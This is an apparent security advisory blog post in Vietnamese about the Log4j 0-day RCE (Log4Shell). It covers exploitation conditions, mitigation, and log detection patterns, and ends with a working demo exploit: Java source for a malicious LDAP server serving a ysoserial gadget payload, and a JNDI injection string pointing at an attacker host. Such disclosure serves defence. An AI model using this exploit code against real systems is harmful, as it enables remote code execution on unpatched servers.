Cập nhật nhẹ về lỗ hổng 0-day Log4j RCE

Cập nhật nhẹ về lỗ hổng 0-day Log4j RCE

Gần đây, thông tin về 0day của Log4j (thư việc thường được sử dụng trong lập trình ứng dụng java nhằm ghi log các sự kiện/lỗi) được public trên twitter. GTSC note lại một số thông tin liên quan đến lỗ hổng này.
 

Điều kiện khai thác lỗi:

Lỗ hổng này cho phép attacker thực thi OS command từ xa (RCE) trong trường hợp:

-          Ứng dụng sử dụng Log4j phiên bản từ  2.0 đến 2.14.1. Đồng thời attacker có thể control được logged string truyền vào tại các đoạn ghi log sử dụng Log4j.

-          Tùy thuộc vào phiên bản java và các thư viện đang sử dụng mà quá trình exploit khác nhau:

+ Phiên bản JDK < 6u211, 7u201, 8u191, 11.0.1, attacker có thể  RCE mà không cần thêm các điều kiện khác. Các bước exploit có thể tham khảo qua phân tích của lunasec (https://www.lunasec.io/docs/blog/log4j-zero-day/).

+ Các phiên bản java (JDK) >= 6u211, 7u201, 8u191, 11.0.1, do thuộc tính “com.sun.jndi.ldap.object.trustURLCodebase” được set “false”, không thể thực hiện load một remote codebase. Thay vào đó, attacker sẽ có thể RCE qua Deserialization. Do đó, để RCE thành công sẽ cần thêm điều kiện là ứng dụng có sử dụng thư viện (jar lib) tồn tại gadget chains để RCE (chẳng hạn Commons-Collections ver 3.1,…)

 


Khắc phục:

Khắc phục tạm thời bằng cách start server tới JVM flag -Dlog4j2.formatMsgNoLookups=true

cập nhật phiên bản log4j-2.15.0  (https://logging.apache.org/log4j/2.x/download.html)

Exploit Detection:

Kiểm tra các log file với pattern: jndi:ldap://, jndi:rmi://, jndi:ldaps://

Tham khảo: https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

Demo Exploit:

Demo với JDK ver 8u191 sử dụng CommonsCollection6 gadget chains. Với phiên bản thấp hơn, attacker cần khởi tạo một webserver, webroot chứa file java class nhằm thực hiện RCE (bạn đọc có thể tham khảo bài phân tích trên lunasec)

B1: Tạo payload (được encode base64) sử dụng ysoserial:

Bổ sung code trong PayloadRunner để tạo base64 payload và Run function main() của CommonsCollection6.java

 


B2: Tạo Ldap server – thay đổi giá trị javaSerializedData là chuỗi base64 payload từ ysoserial trên:

import com.unboundid.ldap.listener.InMemoryDirectoryServer;

import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;

import com.unboundid.ldap.listener.InMemoryListenerConfig;

import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;

import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;

import com.unboundid.ldap.sdk.Entry;

import com.unboundid.ldap.sdk.LDAPResult;

import com.unboundid.ldap.sdk.ResultCode;

import com.unboundid.util.Base64;



import javax.management.BadAttributeValueExpException;

import javax.net.ServerSocketFactory;

import javax.net.SocketFactory;

import javax.net.ssl.SSLSocketFactory;

import java.io.ByteArrayOutputStream;

import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

import java.net.InetAddress;

import java.net.URL;

import java.util.HashMap;

import java.util.Map;


public class LdapServer2 {

private static final String LDAP_BASE = "dc=example,dc=com";


public static void main ( String[] tmp_args ) throws Exception{

String[] args=new String[]{"http://localhost/#Evail"};

int port = 1337;


InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);

config.setListenerConfigs(new InMemoryListenerConfig(

"listen", //$NON-NLS-1$

InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$

port,

ServerSocketFactory.getDefault(),

SocketFactory.getDefault(),

(SSLSocketFactory) SSLSocketFactory.getDefault()));


config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));

InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);

System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$

ds.startListening();

}


private static class OperationInterceptor extends InMemoryOperationInterceptor {


private URL codebase;


public OperationInterceptor ( URL cb ) {

this.codebase = cb;

}


@Override

public void processSearchResult ( InMemoryInterceptedSearchResult result ) {

String base = result.getRequest().getBaseDN();

Entry e = new Entry(base);

try {

sendResult(result, base, e);

}

catch ( Exception e1 ) {

e1.printStackTrace();

}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {

URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));

System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);

e.addAttribute("javaClassName", "foo");

String cbstring = this.codebase.toString();

int refPos = cbstring.indexOf('#');

if ( refPos > 0 ) {

cbstring = cbstring.substring(0, refPos);

}


e.addAttribute("javaSerializedData", Base64.decode("Payload"));


result.sendSearchEntry(e);

result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

}

}

}


B3: Exploit tại function lỗi với payload ${jndi:ldap://IP_Attack:1337/Evail}. Example code:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4jRCE {
private static final Logger logger = LogManager.getLogger(Log4jRCE.class);

public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1337/Evail}");
}
}

PoC:

 

Tham khảo thêm về kỹ thuật RCE qua JNDI/LDAP:

- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

- https://www.cnblogs.com/yyhuni/p/15088134.html

Các gói dịch vụ

Liên hệ

Name
Email
Phone
Message